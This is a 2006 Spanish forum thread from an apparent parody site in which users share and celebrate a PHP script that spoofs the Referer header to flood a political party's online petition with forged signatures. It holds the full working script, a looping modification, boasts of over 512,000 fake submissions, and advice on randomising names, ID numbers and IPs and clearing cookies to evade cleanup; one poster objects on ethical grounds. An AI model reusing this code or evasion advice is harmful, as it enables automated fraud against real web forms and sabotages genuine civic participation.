El Pombo" /> Pitido Popular :: Ver tema - Nueva chapuza del otro Pitido Popular
Foros de discusión Pitido Popular
Foro -no moderado y sin censura-
 
 FAQFAQ   BuscarBuscar   MiembrosMiembros   Grupos de UsuariosGrupos de Usuarios   RegistrarseRegistrarse 
 PerfilPerfil   Entre para ver sus mensajes privadosEntre para ver sus mensajes privados   LoginLogin 

Nueva chapuza del otro Pitido Popular
Ir a página 1, 2  Siguiente
 
Este foro está cerrado y no puede publicar, responder o editar temas   Este tema está cerrado y no puede editar mensajes o responder    Foros de discusión -> Opinión
Ver tema anterior :: Ver tema siguiente  
Autor Mensaje
Pitido Popular
Site Admin


Registrado: 01 Feb 2006
Mensajes: 22

MensajePublicado: Sab Feb 04, 2006 9:41 am    Asunto: Nueva chapuza del otro Pitido Popular Responder citando

Acabo de hacer este script en PHP que funciona perfectamente: Ejecutándolo en cualquier ordenador, se 'vota'.

Es importante que el 'Referer' sea el que ellos esperan que sea (la dirección de su formulario en http://www.pit-pp.info/form.asp), porque su script de validación basa su seguridad en ello.

Este es un ejemplo de hasta qué niveles se puede ser incompetente y chapuzas: La seguridad del script de validación de las firmas electrónicas del Partido Popular se basa en verificar el 'Referer'... 'Referer' que puede ponerse al antojo, como demuestra este script. Laughing

En palabras no técnicas: le estoy 'diciendo' al script de validación de las firmas de esos chapuzas, que vengo por donde él espera que tengo que llegar... y él, programado por algún 'genio', se lo traga enterito... hasta la bandeta.

Toma castaña!


Ya que el principal partido de la oposición muestra tan preocupantes niveles de insolvencia técnica e irresponsabilidad con la gestión de las firmas de los ciudadanos, aprovecho la oportunidad para brindar al principal partido de la oposición los servicios profesionales de asesoría técnica del Pitido Popular.


Un saludo.





Código:

<?
  error_reporting( E_ALL );

  function Get_HTTP( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion ) {
    global  $err_server, $txt_resp_server, $errno, $errstr;

    $referer         = 'http://www.pit-pp.info/form.asp';
    $posts = array (   'txtnombre' => $txtnombre,
                       'txtdni' => $txtdni,
                       'guest_ip' => $guest_ip,
                       'guest_date' => $guest_date,
                       'guest_sesion' => $guest_sesion );

    $postValues = '';
    foreach( $posts AS $name => $value ) {
      $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $postValues = substr( $postValues, 0, -1 );

    $get_timeout      = 30;
    $txt_resp_server  = "";
    $err_server       =  0;       # no errors
    $s_Complete       = parse_url($url);
    $s_Host           = $s_Complete["host"];
    $s_Port           = 80;
    if( @$s_Complete["path"] == "" )
      $s_Complete["path"] = "/";
    $s_URI            = $s_Complete["path"];
    $s_URI           .= $s_Complete['query'] ? '?'.$s_Complete['query'] : '';
       
    $fp = @fsockopen( $s_Host, $s_Port, $errno, $errstr, 10 );
    if ( $fp ) {
      $request  = "POST $s_URI HTTP/1.1\r\n";
      $request .= "Host: $s_Host\r\n";
      $request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
      $request .= "Gecko/20021204\r\n";
      $request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
      $request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
      $request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
      $request .= "Accept-Language: en-us, en;q=0.50\r\n";
      $request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
      $request .= "Connection: Close\r\n";
      $request .= "Referer: $referer\r\n";
      $request .= "Cache-Control: max-age=0\r\n";

      $lenght = strlen( $postValues );
      $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
      $request .= "Content-Length: $lenght\r\n";
      $request .= "\r\n";
      $request .= $postValues;

      fputs($fp, $request);
      $query_timeout = 4;
      stream_set_blocking( $fp, FALSE );
      stream_set_timeout( $fp, $query_timeout );
      $loop_time = time();
      $status = socket_get_status( $fp );
      while( !feof($fp) && !$status['timed_out'] ) {
        $newtext = @fread( $fp, 10000 );
        $length = strlen( $newtext );
        $txt_resp_server .= $newtext;
        $diff = time() - $loop_time;
        if( $diff > $get_timeout ) {      //  master timeout
          $err_server = 2;  # error
          break;
        }
        $status = socket_get_status( $fp );
      }
      fclose( $fp );   
    }
    else {
      $err_server = 1;      # error
    }
    return $err_server;
  }


  function Run( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion, $muestra ) {
    global  $txt_resp_server;
   
    $err_server = Get_HTTP( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion );
    if( !$err_server ) {
      $buf = substr( $txt_resp_server, 9, 3 );
      if( $muestra && $buf == '302' ) {
        $beg = strpos( $txt_resp_server, "Location: " );
        $buf = substr( $txt_resp_server, $beg+10 );
        $end = strpos( $buf, "\r\n" );
        $buf = substr( $buf, 0, $end );
        $s_Complete       = parse_url($url);
        $s_Host           = $s_Complete["host"];
        header("Location: http://$s_Host/$buf");              //  muestra el resultado
      }
    }
    return $err_server;
  }


//////////////////////////////////////////////////////////////////


  $txtnombre     = 'Luis Luis Luisa';        //  imaginario
  $txtdni        = '35518935N';              //  imaginario
  $guest_ip      = '88.11.76.45';            //  imaginario
  $guest_date    = '03/02/2006 13:12:55';    //  imaginario
  $guest_sesion  = '521234567';              //  imaginario
 
  $url           = 'http://www.pit-pp.info/env_form.asp?modo=1';
 
  $err = Run( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion, true );
 
  echo "Error = $err<HR>";   //  si llega aqui es que algo ha ido mal... se visualiza
  echo "$txt_resp_server";   //  si llega aqui es que algo ha ido mal... se visualiza

?>
Volver arriba
Ver perfil de usuario Enviar mensaje privado Enviar email
LOL
Invitado





MensajePublicado: Sab Feb 04, 2006 11:27 am    Asunto: Responder citando

Jóder!!!

He modificado el script para un bucle de 5 minutos y ha metido 1.398 votos!!!! (tengo una ADSL normal de 1M)

Eso significa que una sola persona, en un solo día puede meterles 402.624 votos!

Ya lo he dicho más de una vez y lo repito: Eso no es serio, lo de esa gente es preocupante.

esta es mi modificación
Código:

//////////////////////////////////////////////////////////////////

  $cnt = 0;
  $start = time();
  for(;;) {
    $txtnombre     = '---- ------ -----';      //  imaginario
    $txtdni        = '---------';              //  imaginario
    $guest_ip      = '--.--.--.--';            //  imaginario
    $guest_date    = '--/--/---- --:--:--';    //  imaginario
    $guest_sesion  = '---------';              //  imaginario
 
    $url           = 'http://www.pit-pp.info/env_form.asp?modo=1';
 
    $err = Run( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion, false );
   
    $cnt++;
    if( $err || time() >= $start + 300 )       //  5 minutos
      break;
  }
  $stop = time();
  echo "start= $start<br>";
  echo "stop = $stop<br>";
  $stop -= $start;
  echo "segundos = $stop<br>";
  echo "cnt = $cnt<HR>";
  echo "Error = $err<br>";
  echo "$txt_resp_server";
Volver arriba
Invitado






MensajePublicado: Sab Feb 04, 2006 11:35 am    Asunto: Responder citando

Yo alucino en colores. Osea, que ya ni siquiera hay que ir a votar allí y que se puede votar en cualquier sitio???????

Joé con los nacionales!
Volver arriba
CHV Soft
Invitado





MensajePublicado: Sab Feb 04, 2006 2:07 pm    Asunto: Responder citando

Y que tengo que hacer para instalarmelo, yo quiero colaborar y no se nada de programación.
Volver arriba
unoquefirmó
Invitado





MensajePublicado: Sab Feb 04, 2006 2:29 pm    Asunto: vaya forma de hacer el oso Responder citando

mientras seguis haciendo el gilipollas con las firmas en la calle hay mucha más gente de la que deseariais firmando y colaborando en la recogida de firmas.
Alguno se debe creer que lo importante de esta campaña es la solvencia técnica de los informáticos que hacen o mantienen la página web del PP.
Una cosa es que esto sea una gracieta y otra ser tan cortito que se piense que lo importante no es el fondo de la cuestión, el debate en torno al Estatut, sino el intentar revnetar y desacreditar el respaldo de muchos a la iniciativa del PP. Patético, pero así son las mesnadas de ZP.
Volver arriba
Invitado






MensajePublicado: Sab Feb 04, 2006 5:32 pm    Asunto: Responder citando

Vuestro script siempre firma con el mismo nombre, DNI, IP, fecha y numero de sesion. Eso facilita que los fascistas eliminen los votos. Deberiais modificar el script para que genere el nombre aleatoriamente entre una lista de nombres y apellidos, tambien el DNI, la fecha, la direccion IP y la sesion. De esa forma es imposible eliminar los votos, salvo que los comprueben uno por uno, cosa imposible.

Hay otros scripts que lo hacen, como este en vuestros propios foros:

http://www.pitidopopular.com/foro/viewtopic.php?t=48

o este otro:

http://codepaste.net/305
Volver arriba
LOL
Invitado





MensajePublicado: Dom Feb 05, 2006 3:14 pm    Asunto: Responder citando

bueeeeeeno bueno bueno, mi modesta aportación a la gloriosa campaña militar... digo a la de firmes, consiste en.................

318.684 firmas!!!!!

Personajes diferentes con nombres diferentes, números de identificación diferentes, ipes diferentes, horas diferentes y en sesiones diferentes han firmado la petición online en tandas sucesivas de 1340, 119, 684, 975, 1316, 1316, 1402, 1071, 1460, 1157, 1605, 1664, 2741, 7543, 60980, 34034, 24490, 15529, 4684, 32112 y 122462 firmas cada una, para totalizar la suma de 318.684 firmas emitidas.

Maricomplejines estará contento.
Volver arriba
Invitado






MensajePublicado: Dom Feb 05, 2006 5:20 pm    Asunto: Responder citando

Con esos programas tan chulos que hacéis, lo suyo es tenerlos activos bastante tiempo para que el número de firmas que haya en la página web supere al de la población española, esa es la mejor forma de deslegitimar por completo la pagina web
Volver arriba
Invitado






MensajePublicado: Dom Feb 05, 2006 5:34 pm    Asunto: Responder citando

lo curioso es que creo que han dicho que tienen 800.000 firmas, demasiado pocas no?
Volver arriba
PPancartero
Invitado





MensajePublicado: Dom Feb 05, 2006 7:28 pm    Asunto: Como ejecuto el script Responder citando

Que hay que hacer para ejecutarlo en windows?
Volver arriba
Capitan Alatriste
Invitado





MensajePublicado: Dom Feb 05, 2006 7:41 pm    Asunto: Re: Como ejecuto el script Responder citando

PPancartero escribió:
Que hay que hacer para ejecutarlo en windows?

Eso, teneís que explicarlo para los que no sepamos de informática. (y de paso decir cual de los 3 códigos es mejor)
Volver arriba
Invitado






MensajePublicado: Dom Feb 05, 2006 8:37 pm    Asunto: Responder citando

Para ejecutar PHP en Windows se necesita un servidor Apache. Por ejemplo, el de http://www.devside.net/
Volver arriba
Invitado






MensajePublicado: Dom Feb 05, 2006 9:52 pm    Asunto: Responder citando

komopuedo ejecutar el scrit tengo apache instalado en ubntu y me da error al ejecutarlo... Sad
Volver arriba
Invitado






MensajePublicado: Dom Feb 05, 2006 10:32 pm    Asunto: Responder citando

Datos insuficientes para proporcionar una respuesta signidicativa.
(¿qué error te da, buen hombre?)
Volver arriba
LOL
Invitado





MensajePublicado: Lun Feb 06, 2006 1:31 pm    Asunto: Responder citando

bueeeeeeno bueno bueno, mi modesta aportación a la gloriosa campaña militar... digo a la de firmes, consiste en.................

400.209 firmas!!!!!

Hoy 81.525 personajes diferentes con nombres diferentes, números de identificación diferentes, ipes diferentes, horas diferentes y en sesiones diferentes han firmado la petición online y su firma ha sido aceptada, en tandas sucesivas de 104, 424, 3860, 64951 y 12186 firmas cada una, que sumadas a las anteriores hacen la bonita la suma de 400.209 firmas emitidas.

Maricomplejines estará en-cantado.
Volver arriba
Carolo



Registrado: 03 Feb 2006
Mensajes: 105

MensajePublicado: Lun Feb 06, 2006 2:29 pm    Asunto: Responder citando

Ole, ole y ole....has introducido...

400.209 firmas!!!!! con un script.

Felicidades por tu gloriosa campaña militar, tronco.

Yo he introducido 12 a manita, lo que posiblemente me ha llevao más tiempo, pero con la diferencia de que mis DNIs son auténticos...

Por cierto, mira a ver si eres capaz de hacer un script que escriba las firmas en papel (me conformo con unas 12); entonces me descubriré ante tí, artista!

Carolo está en-cantado!
Volver arriba
Ver perfil de usuario Enviar mensaje privado
LOL
Invitado





MensajePublicado: Lun Feb 06, 2006 8:21 pm    Asunto: Responder citando

bueeeeeeno bueno bueno, los simpáticos chicos han cambiado el sistema, así que esta es mi última y modesta aportación a la gloriosa campaña militar... digo a la de firmes.................

512.585 firmas!!!!!

Hoy 112.376 personajes diferentes con nombres diferentes, números de identificación diferentes, ipes diferentes, horas diferentes y en sesiones diferentes han firmado la petición online y su firma ha sido aceptada, en tandas sucesivas de 19979, 381, 228, 21667, 10082, 5033, 51157 y 3849 firmas cada una, que sumadas a las anteriores hacen la bonita la suma de 512.585 firmas emitidas y aceptadas.

Maricomplejines estará en-cantando con este más de medio millón de firmas!.
Volver arriba
Invitado






MensajePublicado: Lun Feb 06, 2006 8:25 pm    Asunto: Responder citando

Y ahora que han modificado la historia, ¿nadie puede crear ningún nuevo script?.

Lo digo porque siempre habrá algún agujero en la programación.
Volver arriba
LOL
Invitado





MensajePublicado: Lun Feb 06, 2006 8:42 pm    Asunto: Responder citando

Han añadido verificación por imagen, así que los sistemas automatizados de firma se van al garete... pero El Monstruo de las Galletas, Piolín y El Capitán Garfio pueden seguir firmando con sus números validos, faltaría más.

Me gustaría conocer al 'genio'... joder, más de dos días ha invertido el astuto en poner remedio a los scripts... todo un prodigio de 'velocidad', vamos.

Os digo una cosa... el ridículo a nivel nacional no se lo quita ya, nadie.
Volver arriba
cecilio
Invitado





MensajePublicado: Lun Feb 06, 2006 10:29 pm    Asunto: firmas en papel Responder citando

eso es facil, se las das a un juez y que las vaya repartiendo en su juzgado, como el de Madrid
Volver arriba
Carolo



Registrado: 03 Feb 2006
Mensajes: 105

MensajePublicado: Lun Feb 06, 2006 11:40 pm    Asunto: Re: firmas en papel Responder citando

cecilio escribió:
eso es facil, se las das a un juez y que las vaya repartiendo en su juzgado, como el de Madrid


No entiendo nada, macho...¿Y la Cope? ¿Qué hay de la COPE?
Volver arriba
Ver perfil de usuario Enviar mensaje privado
Invitado
Invitado





MensajePublicado: Mar Feb 07, 2006 12:52 am    Asunto: No entiendo esto Responder citando

La verdad es que no entiendo por que se hace esto. Yo me considero una persona progresista, pero hay ciertas actitudes que no voy a entender nunca. Resulta que los progresistas alardeamos de libertad de expresión, es más, nos quejamos de que la derecha intenta censurar. También alardeamos de tolerancia, y a la primera de cambio hacemos cosas como esta. Resulta que por muy poco que nos guste, ese formulario de firmas no representa más que la voluntad de un sector de españa, contrario a nosotros, que quiere dar su punto de vista. Y nosotros les callamos la boca al mas puro estilo facha, saboteándolo.
Mira Lol, a mi me toca mucho la moral todo el PP, pero eso que has hecho te pone a su nivel.
Para más colmo, no se si os habeis dado cuenta de algunos efectos de todo esto. Tenemos una premisa:

- ESTA RECOGIDA DE FIRMAS NO SIRVE LEGALMENTE PARA NADA.

Pero ni esta ni ninguna firma que se recoja sin una figura pública que las valide una a una. Consecuencia:

- ESTO NO ES MÁS QUE UN TEMA SIMBÓLICO Y POLÍTICO.

Pues muy bien señores, dado que las firmas no se pueden validar de ninguna manera, ya que según dicen por aqui no tienen el censo, no se pueden validar para ninguna de las dos opciones. Así que si mañana al PP le da por decir TENEMOS 5.000.000 de firmas por internet, nosotros podremos decir "no por que hemos metido 4.000.000 falsas" y ellos responder "LAS HEMOS BORRADO".

Así que desde mi punto de vista no hemos conseguido nada(bueno si, pasar un buen rato ejecutando un script que mete firmas), en sus medios van a seguir diciendo lo que quieran y nadie podrá demostrar nada. Eso si, igual que "España va bien" por todos lados sonará "Las Firmas van Bien" y la gente terminará creyéndolo, exactamente igual que el "España va bien"
Volver arriba
Vargas
Invitado





MensajePublicado: Mar Feb 07, 2006 1:53 pm    Asunto: Lo que mas les puede dañar son los datos verídicos Responder citando

De poco sirve meter nombres que son identificables como falsos. Es preferible utilizar nombre y apellidos habituales, con Dni falsos y desde muchas hubicaciones, o apagando los modem aquellos que tengais ip variables. Comprobar por otra parte que vuestro ordenador no tenga cookies que delate el puesto desde el que se esté trabajando.

No hace falta matarse, con meterles unas cuantas desde cada sitio quedan suficientemente descalificados.

Por cierto, que me he encontrado en el propio foro del PP alguien que dice como se deberían haber recogido las firmas:

Ley Orgánica 3/1984, de 26 de marzo, Reguladora de la Iniciativa Legislativa Popular.

"Artículo 9. Autenticación de las firmas.

1. Junto a la firma del elector se indicará su nombre y apellidos, número del documento nacional de identidad y municipio en cuyas listas electorales se halle inscrito.

2. La firma deberá ser autenticada por un Notario, por un Secretario Judicial o por el Secretario municipal correspondiente al municipio en cuyo censo electoral se halle inscrito el firmante.

La autenticación deberá indicar la fecha y podrá ser colectiva, pliego por pliego. En este caso, junto a la fecha deberá consignarse el número de firmas contenidas en el pliego."

Todo lo demás no es más que papel mojado.
Volver arriba
Alejandro Saez EsCoña
Invitado





MensajePublicado: Mar Feb 07, 2006 5:01 pm    Asunto: Ya saben que no sirve para nada Responder citando

Lo saben, pero les da igual. Caldea el ambiente y es algo populista
Volver arriba
yo_soy_ese



Registrado: 03 Feb 2006
Mensajes: 229

MensajePublicado: Mar Feb 07, 2006 5:07 pm    Asunto: Re: firmas en papel Responder citando

Carolo escribió:

No entiendo nada, macho...¿Y la Cope? ¿Qué hay de la COPE?



La COPE sucks
Volver arriba
Ver perfil de usuario Enviar mensaje privado
Mostrar mensajes de anteriores:   
Este foro está cerrado y no puede publicar, responder o editar temas   Este tema está cerrado y no puede editar mensajes o responder    Foros de discusión -> Opinión Todas las horas son GMT + 2 Horas
Ir a página 1, 2  Siguiente
Página 1 de 2

 
Cambiar a:  
Puede publicar nuevos temas en este foro
No puede responder a temas en este foro
No puede editar sus mensajes en este foro
No puede borrar sus mensajes en este foro
No puede votar en encuestas en este foro


Powered by phpBB © 2001, 2005 phpBB Group